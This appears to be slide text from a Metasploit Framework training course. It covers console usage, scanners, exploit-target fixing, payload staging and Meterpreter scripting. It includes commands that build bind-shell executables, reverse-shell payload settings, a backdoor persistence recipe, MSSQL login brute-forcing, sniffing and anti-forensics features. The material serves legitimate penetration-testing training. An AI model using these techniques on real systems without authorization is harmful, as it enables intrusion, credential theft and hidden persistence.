What is Metasploit? Metasploit Project A community-driven project since 2003 Rapid7 Maker of NeXpose Vulnerability Management Metasploit Framework The original open-source exploit framework
Metasploit Versions 1.0 released in 2003 (Perl) 2.0 released in 2004 (Better Perl) 2.7 released in late 2006 3.0 released in 2007 (Ruby) 3.2 released in late 2008 3.3 released in late 2009 3.3.4 in the next two weeks
Core Concepts – File System Organized by directory lib: the meat of the framework code base data: editable files used by Metasploit tools: various useful command-line utils modules: the actual modules plugins: loadable plugins scripts: metepreter and other scripts external: source code and third-party libs
Core Concepts - Libraries Rex is the basic library for most tasks Sockets, protocols, text transformations SSL, SMB, HTTP, XOR, Base64, Unicode Msf::Core provides the 'basic' API Defines the framework Msf::Base provides the 'friendly' API Simplified APIs for the framework
Core Concepts – User Interfaces msfconsole This is what you should ALWAYS use Most features and the most stable Windows supported via Cygwin msfgui, msfweb, msfcli Useful for specific tasks Less supported
Core Concepts – Modules Exploits Defined as modules which use payloads Exploits without payloads: Auxiliary Payloads, Encoders, Nops Payloads run remotely Encoders make sure they get there Nops keep payloads sizes consistent
Core Concepts – Module Locations Primary module tree Under $install/modules// User-specific module tree Under ~/.msf3/modules// Useful for private module sets Load additional trees at runtime The “-m” option to msfconsole The “loadpath” command in msfconsole
Core Concepts – Object Model All modules are Ruby classes Inherit from the type-specific class Which inherits from the Msf::Module class Shared common API between modules Payloads are slightly different Created at runtime from components Glue together stagers with stages
Core Concepts – Mixins Mixins are the reason Ruby rocks Mixins “include” one class into another Different but similar to inheritance Mixins can override a class methods Allows modules to have different flavors Protocol-specific (ex: HTTP, SMB) Behavior-specific (ex: brute force)
Core Concepts – Plugins Plugins work directly with the API Manipulate the framework as whole Hook into the event subsystem Automate specific tasks Plugins only work in the console Add new console commands Extend framework functionality
Overview: msfconsole Text-based interface to the framework Full readline support, tabbing, completion Preferred interface of the developers Unrecognized commands passed to the shell Run other tools from within metasploit
Usage: msfconsole $ msfconsole -h Usage: msfconsole [options] Specific options: -r Execute the specified resource file -c Load the specified configuration file -m Specifies an additional module search path -v, --version Show version Common options: -h, --help Show this message
Core Command: info Provides detailed module information Always read a module description before using The info command also provides Author and licensing information Vulnerability references Payload restrictions
Core Command: info msf > info exploit/windows/smb/psexec Name: Microsoft Windows Authenticated User Code Execution Version: 6118 Platform: Windows Privileged: Yes License: Metasploit Framework License (BSD) Provided by: hdm Payload information: Space: 8192 Description: This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SysInternals. References: http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx
Core Command: jobs Jobs are modules running in the background Provides the ability to list and terminate jobs msf > jobs -h Usage: jobs [options] Active job manipulation and interaction. OPTIONS: -K Terminate all running jobs. -h Help banner. -k Terminate the specified job name. -l List all running jobs.
Core Command: load Loads a plugin from the plugin directory Pass arguments as key=val on the shell msf > load Usage: load [var=val var=val ...] Load a plugin from the supplied path. The optional var=val options are custom parameters that can be passed to plugins. msf > load pcap_log [*] Successfully loaded plugin: pcap_log
Core Command: loadpath Loads a third-party module tree for the path Point at your 0-day, encoders, payloads, etc msf > loadpath /home/secret/modules Loaded 0 modules.
Core Command: save Saves current environment and settings Automatically loads them on startup msf > save Saved configuration to: /home/hdm/.msf3/config
Core Command: sessions List, interact, and kill spawned sessions Sessions can be shells, meterpreter, vnc, etc msf > sessions Usage: sessions [options] Active session manipulation and interaction. OPTIONS: -d Detach an interactive session -h Help banner. -i Interact with the supplied session identifier. -k Terminate session. -l List all active sessions. -q Quiet mode. -v List verbose fields.
Core Command: set Configure framework options and parameters Global datastore overrides per-module datastore msf > set VAR 1234 VAR => 1234 msf > set DebugLevel 5 DebugLevel => 5 msf > set PAYLOAD windows/shell/reverse_tcp msf > set LHOST 192.168.0.1 msf > set LPORT 2323
Core Command: unset Removes a parameter configured with set Remove all variables with “unset all” msf > set VAR 1234 VAR => 1234 msf > set Global ====== VAR 1234 msf > unset VAR Unsetting VAR... msf > set Global ====== No entries in data store.
Core Command: use Change context to a specific module Exposes type specific commands Changes set and unset from global to module msf > use exploit/multi/handler msf > use payload/windows/shell_bind_tcp msf > use nop/x86/opty2 msf > use auxiliary/scanner/smb/version msf type(name) > back msf >
Using Payloads Create shellcode from the console Adds the generate command msf > use payload/windows/shell_bind_tcp msf payload(shell_bind_tcp) > generate -h Usage: generate [options] OPTIONS: -b The list of characters to avoid: '\x00\xff' -e The name of the encoder module to use. -f The output file name (otherwise stdout) -h Help banner. -o A comma separated list of options in VAR=VAL format. -s NOP sled length. -t The output type: ruby, perl, c, or raw.
Using Nops Create nop sleds from the console Adds the generate command msf > use nop/x86/opty2 msf nop(opty2) > generate -h Usage: generate [options] length Generates a NOP sled of a given length. OPTIONS: -b The list of characters to avoid: '\x00\xff' -h Help banner. -s The comma separated list of registers to save. -t The output type: ruby, perl, c, or raw.
Using Exploits Adds the exploit and check commands msf > use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) > help Exploit Commands ================ Command Description ------- ----------- check Check to see if a target is vulnerable exploit Launch an exploit attempt rcheck Reloads the module and checks if the target is vulnerable rexploit Reloads the module and launches an exploit attempt msf exploit(ms03_026_dcom) > set RHOST 192.168.0.128 msf exploit(ms03_026_dcom) > check
Using Exploits Adds new options to the show command msf > use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) > show targets msf exploit(ms03_026_dcom) > show payloads msf exploit(ms03_026_dcom) > show options msf exploit(ms03_026_dcom) > show advanced msf exploit(ms03_026_dcom) > show evasion
Using Auxiliary Modules Modules can add new commands to the console Adds the run command (exploit is an alias) Adds new options to the show command msf > use auxiliary/scanner/smb/version msf auxiliary(version) > show actions
Reloading Modules Supported by exploits and auxiliary rexploit, rerun, rcheck, and reload Useful for module development msf > use auxiliary/scanner/smb/version msf auxiliary(version) > set RHOSTS 192.168.0.128 msf auxiliary(version) > run [ make changes to the module source code ] msf auxiliary(version) > rerun
Reloading Modules Supported by exploits and auxiliary rexploit, rerun, rcheck, and reload Useful for module development msf > use auxiliary/scanner/smb/version msf auxiliary(version) > set RHOSTS 192.168.0.128 msf auxiliary(version) > run [ make changes to the module source code ] msf auxiliary(version) > rerun
Global vs Module Datastore Think of it as a process environment Global environment (setg & unsetg) Module environment (set & unset) The save command preserves both Save time using the saved datastore Set common variables as globals LHOST, LPORT, PAYLOAD Preconfigure common exploits TARGET, DCERPC::max_frag_size
Using Tab Completion The console is designed to be FAST to use Depends on the ruby readline extension Nearly every command has tab completion use exploit/windows/dce use .*netapi.* set LHOST show set TARGET set PAYLOAD windows/shell/ exp
LAB: Generate a Win32 Bind Shell Use a Windows bind shell payload with msfconsole Generate output In Ruby format Generate without bytes 0x00, 0x02, 0x08 Generate without byte 0xd9 (what changed?) Generate multiple times What parts stay similar?
msfcli $ msfcli -h Usage: /usr/local/bin/msfcli [mode] ================================================================= Mode Description ---- ----------- (H)elp You're looking at it baby! (S)ummary Show information about this module (O)ptions Show available options for this module (A)dvanced Show available advanced options for this module (I)DS Evasion Show available ids evasion options for this module (P)ayloads Show available payloads for this module (T)argets Show available targets for this exploit module (AC)tions Show available actions for this auxiliary module (C)heck Run the check routine of the selected module (E)xecute Execute the selected module
Overview: msfcli Non-interactive console interface for Metasploit Launches one specific module only Handy for quick tests and scripting NO LONGER MAINTAINED
Overview: msfweb Web 2.0 interface to the Metasploit Framework Supports multiple users, able to share sessions No authentication or attempt at security Useful for some group tasks NO LONGER MAINTAINED
Overview: msfgui GTK+ GUI interface for the Metasploit Framework Provides a usable console via Control+O Graphical file and process browser Somewhat buggy and prone to crash NO LONGER MAINTAINED
Overview: msfrpcd and msfrpc Remote scripting interface for Metasploit Authenticated with user/pass over SSL Implementation under lib/msf/core/rpc/ Underlying protocol is XMLRPC + NULL byte Useful for product integration and automation End goal is a client-only msfconsole interface Use a single dedicated host for metasploit Share access to compromised systems Integrate manual testing with automated tools
Auxiliary Modules Auxiliaries are organized in directories by type Denial of Service (dos) Administrative Access (admin) Evil services (server) Scanners (scanner) Spoofing (spoof)
Scanner Modules Designed to help with reconnaissance Dozens of useful service scanners Simple module format, easy to use Specify ranges as RHOSTS vs RHOST Specify THREADS for concurrency Keep this under 16 on Native Win32 Keep this under 200 on Cygwin UNIX: 256 works just fine
LAB: Anonymous FTP Scanner Locate the anonymous FTP auxiliary module Configure to scan 192.168.1.0/24 Run the module Configure to try user/pass of 'test' Use THREADS to scan faster
Tips and Tricks: RHOSTS RHOSTS uses the OptAddressRange option class This class has some interesting features: # Target a CIDR mask (192.168.1.0 -> 192.168.1.255) msf auxiliary(module)> set RHOSTS 192.168.1.0/24 # Target a specific range of IP addresses msf auxiliary(module)> set RHOSTS 192.168.1.100-192.168.1.255 # Target all IP addresses in a hostname's subnet msf auxiliary(module)> set RHOSTS metasploit.com/24 # Target multiple ranges listed line-by-line in a text file msf auxiliary(module)> set RHOSTS file:/tmp/ranges.txt # Target a IPv6 address (ranges are pointless, as shown later) msf auxiliary(module)> set RHOSTS fe80::21c:63ff:fed8:ba32 # Soon to be implemented, targeting based on database contents msf auxiliary(module)> set RHOSTS db:/hosts,mask=192.168.1.0/24,port=80
msf auxiliary(udp_sweep) > info Name: UDP Service Sweeper Version: 5709 Provided by: hdm Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads Description: Detect common UDP services msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24 msf auxiliary(udp_sweep) > run [*] Sending 7 probes to 192.168.1.0->192.168.1.255 (256 hosts) [ ...]
msf > use auxiliary/scanner/smb/smb_version msf auxiliary(version) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads msf auxiliary(version) > show advanced Module advanced options: Name : ConnectTimeout Current Setting: 10 Description : Maximum number of seconds to establish a TCP connection Name : Proxies Current Setting: Description : Use a proxy chain
msf auxiliary(version) > set RHOSTS 192.168.1.0/24 msf auxiliary(version) > set THREADS 100 msf auxiliary(version) > set ConnectTimeout 2 msf auxiliary(version) > run [*] 192.168.1.65 is running Windows 2003 Service Pack 2 [*] 192.168.1.15 is running Windows XP Service Pack 2+ [*] 192.168.1.57 is running Windows XP Service Pack 2+ [*] 192.168.1.86 is running Windows XP Service Pack 0 / Service Pack 1 [*] 192.168.1.93 is running Windows XP Service Pack 2+ [*] 192.168.1.62 is running Windows XP Service Pack 2+ [*] 192.168.1.111 is running Unix Samba 3.0.22 [*] 192.168.1.121 is running Unix Samba 3.0.28a [*] 192.168.1.110 is running Windows XP Service Pack 0 / Service Pack 1 [*] 192.168.1.144 is running Unix Samba 3.0.28a [*] 192.168.1.161 is running Unix Samba 3.0.24-7.fc5 [*] 192.168.1.182 is running Unix Samba 3.0.26a [*] 192.168.1.138 is running Windows 2003 Service Pack 2 [*] 192.168.1.140 is running Windows XP Service Pack 2+ [*] 192.168.1.181 is running Windows XP Service Pack 2+ [*] 192.168.1.107 is running Windows XP Service Pack 0 / Service Pack 1 [*] 192.168.1.204 is running Unix Samba 3.0.28a [*] 192.168.1.224 is running Unix Samba 3.0.28-1.el5_2.1
msf > use auxiliary/scanner/http/http_version msf auxiliary(version) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no Use a proxy chain RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port SSL false no Use SSL THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual host msf auxiliary(http_version) > set RHOSTS 192.168.1.0/24 msf auxiliary(http_version) > set THREADS 100 msf auxiliary(http_version) > set ConnectTimeout 2 msf auxiliary(http_version) > run [*] 192.168.1.211 is running thttpd/2.25b 29dec2003 [*] 192.168.1.216 is running Allegro-Software-RomPager/2.10 [*] 192.168.1.222 is running Virata-EmWeb/R6_0_1 [*] 192.168.1.229 is running cisco-IOS [*] 192.168.1.232 is running Web Server [*] 192.168.1.205 is running Apache
msf > use auxiliary/scanner/mssql/mssql_login msf auxiliary(mssql_login) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- MSSQL_PASS no The password for the specified username MSSQL_USER sa no The username to authenticate as RHOSTS yes The target address range or CIDR identifier RPORT 1433 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(mssql_login) > set RHOSTS 192.168.1.0/24 msf auxiliary(mssql_login) > set THREADS 100 msf auxiliary(mssql_login) > set ConnectTimeout 2 msf auxiliary(mssql_login) > run [*] 192.168.1.41:1433 failed to login as 'sa' [*] 192.168.1.53:1433 failed to login as 'sa' [*] 192.168.1.54:1433 failed to login as 'sa' [*] 192.168.1.55:1433 failed to login as 'sa' [*] 192.168.1.44:1433 failed to login as 'sa' [*] 192.168.1.58:1433 failed to login as 'sa' [*] 192.168.1.61:1433 failed to login as 'sa'
msf > use auxiliary/scanner/smb/pipe_dcerpc_auditor msf auxiliary(pipe_auditor) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier SMBPIPE LSASS yes The pipe name to use (LSASS) THREADS 1 yes The number of concurrent threads msf auxiliary(pipe_dcerpc_auditor) > set RHOSTS 192.168.1.47 msf auxiliary(pipe_dcerpc_auditor) > set SMBPIPE browser msf auxiliary(pipe_dcerpc_auditor) > run 192.168.1.47 - UUID 00000131-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 00000134-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 00000143-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 000001a0-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 06bba54a-be05-49f9-b0a0-30f790261023 1.0 OPEN VIA browser 192.168.1.47 - UUID 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 1.0 OPEN VIA browser 192.168.1.47 - UUID 0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 1.0 OPEN VIA browser 192.168.1.47 - UUID 12b81e99-f207-4a4c-85d3-77b42f76fd14 1.0 OPEN VIA browser 192.168.1.47 - UUID 18f70770-8e64-11cf-9af1-0020af6e72f4 0.0 OPEN VIA browser 192.168.1.47 - UUID 1ff70682-0a51-30e8-076d-740be8cee98b 1.0 OPEN VIA browser 192.168.1.47 - UUID 20610036-fa22-11cf-9823-00a0c911e5df 1.0 OPEN VIA browser 192.168.1.47 - UUID 2f5f6520-ca46-1067-b319-00dd010662da 1.0 OPEN VIA browser 192.168.1.47 - UUID 2f5f6521-cb55-1059-b446-00df0bce31db 1.0 OPEN VIA browser
Scanner Module Internals Metasploit scanner features Access to all exploit classes and methods Support for proxies, SSL, reporting Built-in threading and range scanning Easy to write and run quickly Extremely useful for security audits Find every instance of a bad password Scan for an in-house vulnerable service
Scanner Architecture Auxiliary module that includes mixins First includes the 'exploit' mixins (TCP, SMB) Then includes 'auxiliary' mixins (Scanner) The Auxiliary::Scanner mixin Overloads the Auxiliary “run” method Calls your module method at runtime: run_host(ip) run_range(range) run_batch(batch) Process the IP address(es)
LAB: Write a TCP service scanner Locate a service on port 9999 Send “password\r\n” Receive the data Display the data Auxiliary template available at: http://192.168.1.2/shared/myscanner.rb Install into: ~/.msf3/modules/auxiliary/class/myscanner.rb Hint: $ mkdir -p ~/.msf3/modules/auxiliary/class
Raw Packet Modules Metasploit now supports raw packet aux modules PcapRub library is used to sniff and send Racket library is used to decode and create PcapRub must be compiled and installed cd msf3/external/source/pcaprub/ ruby extconf.rb && make install Only really tested on Linux and requires root Should work on BSD & Mac OS X (no Win32)
msf > use auxiliary/scanner/portscan/syn msf auxiliary(syn) > set RHOSTS 192.168.1.1 msf auxiliary(syn) > set PORTS 1-1000 msf auxiliary(syn) > run [*] TCP OPEN 192.168.1.1:22 [*] TCP OPEN 192.168.1.1:53 [*] TCP OPEN 192.168.1.1:80 msf > use auxiliary/scanner/discovery/arp_sweep msf auxiliary(arp_sweep) > set RHOSTS 192.168.1.0/24 msf auxiliary(arp_sweep) > run [*] 192.168.1.116 appears to be up. msf > use auxiliary/sniffer/psnuffle msf auxiliary(psnuffle) > run [*] Loaded protocol FTP from data/exploits/psnuffle/ftp.rb... [*] Loaded protocol URL from data/exploits/psnuffle/url.rb... [*] Sniffing traffic..... -> Get request sniffed: 91.203.99.45/?host=slashdot.org&hdn=NxA6 -> Get request sniffed: 91.203.99.45/?host=www.slashdot.org&hdn -> Get request sniffed: 91.203.99.45/?host=www.bofa.com&hdn=vNV -> Get request sniffed: 91.203.99.45/?host=www.bofa.com&hdn=vN # ^- Opera 10b2 logging all web sites visited
Reporting Results Use the Auxiliary::Report mixin include Msf::Auxiliary::Report Call the report_note() method report_note( :host => rhost, :type => "myscanner_password", :data => data )
Reporting Results The Report mixin provides report_*() These methods depend on a database Check for a live database connection Check for a duplicate record (same data) Write a record into the table The database drivers are now autoloaded db_driver sqlite3 (postgres, mysql) The same schema as db_autopwn
Reporting APIs Defined inside the Report mixin lib/msf/core/auxiliary/report.rb Schema defined for each DB type data/sql/*.sql Methods for every type of data report_host() report_service() report_note() report_auth_info()
Exploit Design Goals Exploits should be minimal Offload as much as we can to framework Rely on the Rex protocol libraries Make heavy use of the mixins Exploits should be reliable BadChars must be 100% accurate Payload->Space is the maximum reliable Little details matter the most
Exploit Design Goals Exploits should be random Rex::Text.rand_text_* to generate padding Randomize all payloads with encoders Randomize encoder stub if possible Randomize nops as well Randomization has benefits IDS, IPS, AV evasion are handy Also a great reliability test!
Exploit Design Goals Exploits should be readable Consistent structure, hard-tab indents Fancy code is harder to maintain Mixins provide consistent option names Exploits should be useful Proof of concepts should be Auxiliary DoS Exploit reliability must be high Target lists should be inclusive
Exploit Format Similar to Auxiliary, but more fields A Payload information block A listing of available Targets Define exploit() & check() vs run() Exploits always have Payloads No payload makes it an Auxiliary Payload details are covered later
Defining Vulnerability Tests Define a method called check() All non-payloads options are verified Perform the vulnerability test Return a defined Check value Return values for check() CheckCode::Safe # not exploitable CheckCode::Detected # service detected CheckCode::Appears # vuln version CheckCode::Vulnerable # confirmed! CheckCode::Unsupported
def check # connect to get the FTP banner connect # disconnect since have cached it as self.banner disconnect case banner when /Serv-U FTP Server v4\.1/ print_status('Found version 4.1.0.3, exploitable') return Exploit::CheckCode::Vulnerable when /Serv-U FTP Server/ print_status('Found an unknown version, try it!'); return Exploit::CheckCode::Detected else print_status('We could not recognize the server banner') return Exploit::CheckCode::Safe end return Exploit::CheckCode::Safe end
Exploit Mixins A quick diversion into Ruby Every Class only has one parent A class may include many Modules Modules can add new methods Modules can overload old methods Metasploit modules inherit Msf::Module They include mixins to add features Mixins can change how they work
class MyParent def woof puts “woof!” end end class MyClass < MyParent end object = MyClass.new object.woof() => “woof!” ================================================================ module MyMixin def woof puts “hijacked the woof method!” end end class MyBetterClass < MyClass include MyMixin end MyBetterClass.new.woof() => “hijacked the woof method!”
Mixin Types Mixins can add new features connect() implemented by the TCP mixin connect() overloaded by FTP, SMB, others Mixins can change behavior The Scanner mixin overloads run() Changes run() for run_host(), run_range() Calls these in parallel based on THREADS The BruteForce mixin is similar
Mixin - Exploit::Remote::BruteTargets lib/msf/core/exploit/brutetargets.rb Overloads the exploit() method Calls exploit_target(target) for each Target Handy for easy target iteration lib/msf/core/exploit/brute.rb Overloads the exploit() method Calls brute_exploit() for each stepping Easily brute force an address range
Target Options Block The options block is nearly free-form Special option names 'Ret' is shortcutted as target.ret() 'Payload' overloads the exploit's info block Options are used to store target data Windows 2000 needs this return address Windows XP needs 500 bytes of padding Windows Vista NX bypass address
Acessing Target Information The 'target' object inside the exploit This is the user's selected target Accessed in the exploit as a hash target['padcount'] target['Rets'][0] target['Payload']['BadChars'] target['opnum']
Fixing Exploit Targets Sometimes you need new targets Language packs change addresses Different version of the software Addresses shifted due to hooks To find a new return address Determine the type of return address Obtain a copy of the target binaries Use msfpescan to locate a return
Return Address Types Return addresses depend on exploit Stack smashes use “jmp esp” SEH overwrites use “pop/pop/ret” Sometimes need “jmp ” returns Determining the type of return Look for a comment in the exploit code Examine the target binary for the old return
'Windows 2000 SP0-SP4', { 'Ret' => 0x767a38f6, # umpnpmgr.dll } # # Find a copy of umpnpmgr.dll from Windows 2000 SP4 # $ msfpescan -D -a 0x767a38f6 win2000sp4.umpnpmgr.dll [win200sp4.umpnpmgr.dll] 0x767a38f6 5f5ec3558bec6aff68003c7a7668e427 00000000 5F pop edi 00000001 5E pop esi 00000002 C3 ret 00000003 55 push ebp 00000004 8BEC mov ebp,esp 00000006 6AFF push byte -0x1 00000008 68003C7A76 push 0x767a3c00 0000000D 68 db 0x68 0000000E E427 in al,0x27 # We need a pop/pop/ret return address
# # Find a copy of umpnpmgr.dll from our target OS / SP / Language # $ msfpescan -p targetos.umpnpmgr.dll [targetos.umpnpmgr.dll] 0x79001567 pop eax; pop esi; ret 0x79011e0b pop eax; pop esi; retn 0x0008 0x79012749 pop esi; pop ebp; retn 0x0010 0x7901285c pop edi; pop esi; retn 0x0004 # # Add a target to our exploit with the new address # 'Windows 2000 SP0-SP4 Russian Language', { 'Ret' => 0x7901285c, # umpnpmgr.dll russian 2000 sp4 }
Exploit Types All exploits fall into two categories Active – exploit a specific host and exit Passive – wait for incoming hosts and exploit Active exploits run until completion Brute force modules exit when a shell opens Module execution stops in the case of an error Force an active module to background: exploit -j
Passive Exploits These focus almost always on clients Web browser, sniffer responses, etc Also used for email exploits to wait for shells Passive exploits report shells as they happen Use sessions -l to enumeration shells Use sessions -i to interact with a shell
Payload Compatibility Matching payloads to an exploit Look for compatible architecture and OS Look at the 'PayloadCompat' & 'Compat' blocks Look at the 'privileged' flag Look at the payload size Exploits indicate compatibility Tag 'findsock' enables findsock payloads Other tags for specific cases 'RequiredCmds' => 'netcat-e perl ruby bash'
Payload Generation Select an encoder Must not touch certain registers Must be under the max size Must avoid BadChars Encoders are ranked Select a nop generator Tries most random first Nops are also ranked
Encoding Example The Payload is 300 bytes long The Encoder stub adds another 40 The Payload Space is 900 The Nops fill in the 560 remaining Final payload.encoded is 900 bytes Avoid this with: 'DisableNops' => true
Payload Block Options Exploits can tweak the payload 'StackAdjustment' prefixes “sub esp” code 'MinNops', 'MaxNops', 'DisableNops' 'Prefix' places data before the payload 'PrefixEncoder' places it before the stub These options can go into Targets Allows different BadChars for targets Allows Targets to hit different Arch and OS
Payload Module Types Three different kinds of modules Singles – completely standalone Stagers – setup a network connection Stages – downloaded by stagers Allows for different scenarios Stagers for large advanced stages Singles for non-networked targets
Payload Stagers Designed to be small and reliable Difficult to always do both well Result is multiple similar stages Use the best one when we can Fall back when we can't Windows NX vs NO-NX stagers Reliability issue for NX CPUs and DEP NX stagers are bigger (VirtualAlloc) Default is now NX + Win7 compatible
Payload Stages Advanced features with no size limits Meterpreter VNC Injection iPhone 'ipwn' Shell Automatically uses 'middle stagers' A single recv() fails with large payloads Stager receives the middle stager Middle stages performs a full download Also better for RWX
Payload Creation Runtime creation of Payloads Combination of stagers + stages Staging is represented by / in the name windows/shell_bind_tcp This is a single payload, no stage windows/shell/bind_tcp bind_tcp is the stager, shell is the stage
Creating Executables Use msfpayload to create binaries Specify the “X” action and redirect $ msfpayload windows/shell_bind_tcp LPORT=12345 X > test.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/shell_bind_tcp Length: 317 Options: LPORT=12345 $ file test.exe test.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 $ wc -c test.exe 9728 test.exe $ md5sum test.exe 2a330113967492b80bff5bb881ec2c14 test.exe
Payload Executable Testing The multi/handler exploit module An exploit that accepts any payload Does nothing but “handle” the payload Useful for social engineering tests Ex: windows/shell/bind_tcp Repeatedly connect to RHOST:RPORT Upload the payload stage on connect Interact with the uploaded stage (shell)
Creating a Meterpreter Backdoor Generate an executable with msfpayload Choose between reverse and bind stagers Specify the connect back host and port Configure exploit/multi/handler in msfconsole Force the payload to execute on login/boot Place into the Start Menu: Startup folder Autorun via registry, logon script, etc
Creating a Payload (single) Payload requirements What options need to be patched in? What type of handler does it require? What target requirements does it have? Singles: modules/payload/singles/ Naming is _ shell_bind_tcp, useradd, or exec
Windows Payloads - EXITFUNC EXITFUNC defines the cleanup function thread – call ExitThread() process – call ExitProcess() seh – call *0x00000000 Exploit usually overrides this per app Multiple exploitation (ex: ms03_026_dcom) Force the service to restart (seh)
Creating a Payload (stager) Stagers: modules/payload/stagers/ Naming is just the bind_tcp, reverse_tcp, findsock, etc Stagers require a 'Convention' Determines the API for stages Common ones are 'sockedi' and 'sockesi' Indicate the register with the socket
Creating a Payload (stage) Stagers: modules/payload/stages/ Naming is just the shell, meterpreter, exec, vncinject Match up with the Stager 'Convention' May involve an intermediate stage Increases reliability for laggy networks Avoids segmentation issues
DLL Injection Payloads DLL Injection is a type of stage Meterpreter extends the injection class VNCInjection works the same way Non-standard session types Meterpreter has its own session class VNCInject uses a TCP relay session set DisableCourtesyShell true
LAB: Create a VNC injection EXE Use msfpayload to create an EXE around vncinject Pipe this to msfencode to encode it Encode this 6 times Encode this 6 times with 6 encoders Configure msfconsole to handle this EXE
METASM Payloads METASM is a Ruby assembler Generates code from ASM and C Processes both X86 and MIPS Much more at http://metasm.cr0.org/ Standard payload classes Source code is in C or plain ASM Nifty way to patch variables No C examples in Metasploit (yet)
Metasploit Plugins Plugin API Full access to the framework instance Interact with sessions and run modules Access the framework database Why write a new plugin? Automate exploitation tasks Log all socket operations Integrate with other tools
Event System Actions trigger various events General events (started, stopped) Exploit events (launched, completed) Session events (opened, closed) Database events (new host, new service) Event handler subscribe to events Called each time event fires framework.events.add_session_subscriber(object)
Plugin Summary Plugins and penetration tests Call out to other applications Automate command execution Log all events to create a report Labs just scratched the surface Look at the examples in plugins/ Meterpreter automation...
Meterpreter Advanced dynamically extensible payload Uses in-memory DLL injection stagers Extended at runtime over the network Communicates over stager socket Coprehensive client-side Ruby API Development history Written by skape for Metasploit 2.x Common extensions merged for 3.x Undergoing an overhaul for 3.3
How Meterpreter Used to Work The target executes the initial stager Usually one of bind, reverse, findtag, passivex, etc The stager loads the middle stage Provides a reliable transfer mechanism The middle stage loads the DLL injector* Patches the Windows API for in-memory DLL injection The DLL injector loads the Meterpreter core A standard Windows DLL exporting: Init(int sock, int flags) The Meterpreter loads extensions Always loads stdapi, sometimes loads priv
How Meterpreter Works Now The target executes the initial stager Usually one of bind, reverse, findtag, passivex, etc The stager loads the DLL prefixed with Reflective Reflective stub handles the loading/injection of the DLL The Meterpreter core initializes Establishes a TLS/1.0 link over the socket, sends a GET Metasploit receives the GET and configures the client The Meterpreter loads extensions Always loads stdapi, loads priv if the module gives admin All of these are loaded over TLS/1.0 using a TLV protocol
Meterpreter Design Goals Stealthy No disk access, no new processes, encrypted comms Limited forensic evidence and impact Powerful Channelized communication system TLV protocol has few limitations Extensible Runtime feature augmentation New features without rebuilding
Meterpreter Core The server is implemented in plain C Compiled with MSVC now, somewhat portable All communications are now over TLS/1.0 Implements a basic TLV-based packet protocol Exposes channel allocation and mgmt interface Supports migration to another running process Supports loading new extensions over the network The client can be written in any language Metasploit has a full-feature Ruby client API
Adding Runtime Features New features added by loading extensions The client uploads the DLL over the socket The server loads the DLL in-memory and initializes The extension registers itself with the server The client loads the local extension API The client can now call the extensions functions This process is seamless and takes ~1 second
Basic Extensions Stdapi Provides “unix-like” tools for the Windows platform Manipulate file system, registry, network, processes... Automatically loaded when Meterpreter starts Priv Provides in-memory pwdump alternative Includes timestomp for anti-forensics work Incognito Utilities for finding and hijacking security tokens
Digging Deeper The Meterpreter prompt Registers new commands as extensions are loaded Provides a powerful shell for penetration testing Features: history, tab completion, channels The Meterpreter Ruby API The user commands only scratch the surface The real power of Meterpeter is the client API Equivalent to remote, in-memory scripting
Scripting Meterpreter From the msfconsole prompt Enter irb to drop into Ruby at any time The session object is the Meterpreter client msf > irb irb > client = framework.sessions[1] From the meterpreter prompt Enter irb to drop into Ruby at any time The client variable is the Meterpreter session meterpreter > irb irb > client
Scripting Meterpreter Run existing scripts from the meterpreter prompt Execute the run command to launch a script Pass arguments to each script via parameters meterpreter > run myscript arg1 arg2... Script location: msf3/scripts/meterpreter Many useful and reference scripts available
Meterpreter API: Core Part of the main Meterpreter payload Accessed via API as client.core.* client.core.use( name ) Loads a new Meterpreter extension by name Handles both the client and server side client.core.migrate( pid ) Moves Meterpreter into another process Keeps the existing socket open Unloads all extensions but stdapi
Meterpreter API: Stdapi The standard set of Meterpreter features Broken down into sub-groups by function Stdapi feature highlights Enumerate the filesystem and read/write files List interfaces and pivot network connections Read, write, and browse the registry Manage processes and threads Execute commands Monitor user activity
The Stdapi Interface Stdapi is split into four sub-groups client.fs.* Manipulate the file system, upload, download client.sys.* Interact with processes, registry, etc client.net.* View network settings, pivot, make connections client.ui.* Disable keyboard/mouse, check user idle time
File System Interaction: dir Accessed through client.fs.dir.method List, download, upload, and delete files Method Description entries(path) Enumerates directory contents chdir(path) Change directories to path mkdir(path) Make a directory getwd Get the current working directory delete(path) Remove a directory download(dst, src, recursive) Download a directory’s contents to local upload(dst, src, recursive) Upload a directory to remote
File System Interaction: file Accessed through client.fs.file.method One-step recursive uploads and downloads Method Description expand_path(path) Expands the environment strings in a path stat(path) Tests if a file exists and returns info about it upload(dest, files) Uploads one or more files to the remote directory download(dest, files) Downloads one or more files to the local directory
File Interaction: file Interact with a remote file just like a local one client.fs.file.new( path ) Method Description seek(offset, whence) Seeks to an offset within the file read(length) Reads length bytes from the file write(buffer) Writes the buffer to the file close Closes the file
